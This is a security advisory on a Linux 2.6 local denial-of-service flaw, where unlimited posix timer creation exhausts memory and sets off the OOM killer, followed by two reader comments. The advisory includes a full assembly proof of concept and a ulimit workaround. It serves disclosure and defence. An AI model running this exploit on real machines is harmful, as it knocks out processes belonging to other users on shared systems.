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| Improper memory allocation for timers allows attackers to exhaust available memory, causing the kernel to kill existing processes. |
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Credit:
The information has been provided by fingerout.
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Vulnerable Systems:
* Linux version 2.6
The problem lies in sys_timer_create() in Linux/kernel/posix-timers.c. Each time user creates a posix timer, some kernel memory is allocated.
Since count of timers that can be created by user is limited only by sigqueue size (ex. 4294967295 in Debian) every local user can exhaust all avaible memory which will trigger oom_killer (mm/oom_kill.c). If a process itself uses a small amount of memory, it's oom_score will be low, so all other processes would be killed.
Proof of Concept:
;nasm -f elf noHeaven.asm
;ld -s -o noHeaven noHeaven.o
section .text
global _start
count equ 8 ; threads count - do it quicker
_start:
mov ebx, count
call create_threads
jmp done
_pause:
mov eax,29
int 0x80
ret
create_threads:
mov eax,2
int 0x80
test eax,eax
jz consume
dec ebx
test ebx,ebx
jnz create_threads
ret
consume:
setsid: ; so we won't get counted as one thread in oom_killer()
xor ebx,ebx ; each task will have about 20 oom_score which
mov eax,66 ; is less than 'init' and others
int 0x80
push eax
loopek:
mov eax,259
mov ebx,0
mov ecx,0
mov edx,esp
int 0x80
jmp loopek
done:
xor ebx,ebx
mov eax,1
int 0x80
;EoF
Workaround:
Enforce pending signals queue size of rlimit (ulimit -i).
Vendor Status:
Vendor refused to fix this kind of bugs.
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| Subject:
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Vendor BETTER fix this kind of bug. |
Date: |
10 Apr. 2006 |
| From: |
anon |
| Vendor BETTER fix this kind of bug. |
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| Subject:
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Vendor BETTER fix this bug... |
Date: |
17 Apr. 2006 |
| From: |
blu3 |
your car is vulnerable to 50 ton weights crushing it. demand your dealership protect you from 50 ton weights.
personally i'll just park my car down the street away from the 50 ton crusher.
laughing now? |
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